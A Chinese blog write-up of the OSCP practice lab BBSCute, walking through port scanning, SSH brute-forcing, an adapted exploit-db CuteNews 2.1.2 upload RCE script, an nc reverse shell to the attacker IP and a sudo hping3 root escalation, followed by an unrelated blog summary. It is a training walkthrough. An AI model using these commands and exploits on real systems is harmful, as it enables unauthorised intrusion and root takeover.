OSCP靶场系列-Esay-BBSCute保姆级

Esay-1-BBSCute保姆级

getwebshell → 目录扫描发现新端点 → 指纹探测发现CMS → 查看文章发现版本信息 → MSF → 调配修改获得shell
getshell → sudo发现hping3 → 利用hping3提权

准备工作

  • 启动VPN
    获取攻击机IP > 192.168.45.176

  • 启动靶机
  • 获取目标机器IP > 192.168.190.128

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
sudo nmap --min-rate 10000 -p- 192.168.190.128

>[!通过各两次扫描收集到端口 ]
>22,80,88,110,995

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80,88,110,995 192.168.190.128

信息收集-端口测试

  • 22-open-openssh 7.9p1
  • 80-open-http
  • 88-open-http
  • 110-open-pop3
  • 995-open-ssl/pop3
    总体来看,突破口在80端口以及88端口

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用(无)

通过Nmap探测获得SSH的版本信息,可以尝试利用

# 进入msf
msfcontrol
# 探测版本为OpenSSH 7.9p1 搜索对应脚本
msf6 > searchsploit openssh 7.9

22-SSH手动登录尝试(失败)

尝试root账户的密码爆破发现报错之后进行手动尝试

ssh root@192.168.190.128</span> ssh -p22
# 密码尝试
password &gt; root

22-SSH弱口令爆破(慢慢跑)

尝试root账户的密码爆破,利用工具hydra,线程-t为6
慢慢跑吧,不指望

hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.190.128 ssh -s 22

80-HTTP端口的信息收集

http://192.168.190.128:80


通常遇到这样的网站之后我们直接从收集源码开始

信息收集-源码查看(无)
curl http://192.168.190.128:80

整体翻阅了一下,无泄露信息

信息收集-基础目录扫描
dirsearch -u http://192.168.190.128:80 -x 302,403

发现内容之后,我们先不考虑上大字典

信息收集-dirsearch深层目录扫描(待定)
信息收集-端点访问

寻找可用端点

/example.php端点

/manual/en/index.html端点

/print.php端点

/rss.php端点

/search.php端点

/index.php端点

信息收集-指纹识别

通过端点访问,首先选取最感兴趣的进行探索(登录功能点)

┌──(root㉿Kali)-[/home/bachang/BBSCute]
└─# whatweb http://192.168.190.128:80/index.php
http://192.168.190.128:80/index.php [200 OK] Apache[2.4.38], Bootstrap, Cookies[CUTENEWS_SESSION], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.190.128], JQuery, PasswordField[password], Script[text/javascript], Title[Please Login / CuteNews], UncommonHeaders[accept-charset], X-Frame-Options[sameorigin], X-UA-Compatible[IE=edge]

获取了CMS的指纹CuteNews,如果知道版本就可用msf精准打击

信息收集-源码查看
# 利用html2text转换纯文本方便查看
curl http://192.168.190.128:80/index.php | html2text

查看之后获取到了新的信息CuteNews的版本为2.1.2

88-HTTP端口的信息收集

什么!?还要收集吗? 80端口都getwebshell啦?

漏洞利用-getwebshell

漏洞利用-msf网站指纹(尝试)
# 首先进入msf终端
msfconsole
# 搜索对应的漏洞是否存在
msf6 &gt; searchsploit cutenews 2.1.2

可以思考的是第一个、第三个、第四个。第二个文件删除不能直接getwebshell
其中第三个文件上传相对要复杂一些
第一个可能有前置条件,保险一些先试试第四个?

# 如果想查看msf对应的内容
cat /usr/share/exploitdb/exploits/php/webapps/48800.py

细细翻阅一下


大致了解了脚本的情况,运行了之后让我们输入IP,之后就会根据代码逻辑获得cmdshell

一般获取脚本之后我们就清楚需要是否需要修改shell以及输入内容等

# 尝试运行,发现没运行成功捏
python3 /usr/share/exploitdb/exploits/php/webapps/48800.py
[-&gt;] Usage python3 expoit.py

Enter the URL&gt; http://192.168.190.128:80
================================================================
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
================================================================
[-] No hashes were found skipping!!!
================================================================

=============================
Registering a users
=============================


运行没成功说明可能其他地方还需要修改或者该exp不适用
首先进行url的排查

cat /usr/share/exploitdb/exploits/php/webapps/48800.py

查看了一下,发现expurl是加了/CuteNews端点,和我们现在不符,进行删除

# cp到本地一份方便修改(这是好习惯)
┌──(root㉿Kali)-[/home/bachang/BBSCute]
└─# cp /usr/share/exploitdb/exploits/php/webapps/48800.py .
# 查询有几处
┌──(root㉿Kali)-[/home/bachang/BBSCute]
└─# grep CuteNews 48800.py                    
url = f"{ip}/CuteNews/cdata/users/lines"
register = sess.post(f"{ip}/CuteNews/index.php?register", data = postdata, allow_redirects = False)
token = sess.get(f"{ip}/CuteNews/index.php?mod=main&amp;opt=personal").text
payload_send = sess.post(f"{ip}/CuteNews/index.php", files = files).text
output = sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)
# 修改了5处地方
┌──(root㉿Kali)-[/home/bachang/BBSCute]
└─# vim 48800.py 
# 再次查看已经没有了
┌──(kali㉿kali)-[~]
└─$ grep CuteNews 48800.py  
# 尝试运行
python 48800.py

运行成功,获取了cmdshell

# ps 翻阅了一下不用苦逼的vim修改,利用sed 将所有的 “CuteNews/” 替换为空字符串
sed -i 's:CuteNews/::g' 48800.py
# 查看一下权限
command &gt; id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

内网遨游-getshell

发现hydra还没爆破出来,关了关了

获取交互shell

现在我们的shell是利用pythonexp获取的,我们获取本地的shell会更好
利用反弹shell弹到本地

反弹shell-nc
# 攻击机先开启监听
nc -lvvp 4444
# 目标主机nc反弹shell
nc -e /bin/bash 192.168.45.176 4444

交互shell-python

由于反弹获取的shell交互不友好,利用python获得新的交互shell

# 利用python获取交互shell -&gt; python失败使用python3
python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

www-data<span>@cute</span>:/var/www/html/uploads$ find / -name local.txt 2&gt;/dev/null
find / -name local.txt 2&gt;/dev/null
/var/www/local.txt
www-data<span>@cute</span>:/var/www/html/uploads$ cat /var/www/local.txt
cat /var/www/local.txt
*****************************

权限提升

访问 https://gtfobins.github.io 寻找

Linux提权-sudo提权尝试

查找具有sudo权限,且不需要密码的可提权文件

# 利用sudo -l寻找
www-data<span>@cute</span>:/var/www/html/uploads$ sudo -l
sudo -l
Matching Defaults entries for www-data on cute:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on cute:
    (root) NOPASSWD: /usr/sbin/hping3 --icmp

发现hping3存在sudo权限


如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

www-data<span>@cute</span>:/var/www/html/uploads$ hping3
hping3&gt; /bin/sh -p
# whoami
root

成功提权

FLAG2

# cat /root/proof.txt
*************************

结束撒花?谢谢观看

OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全网络渗透感兴趣的读者来说是一个很有价值的参考资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值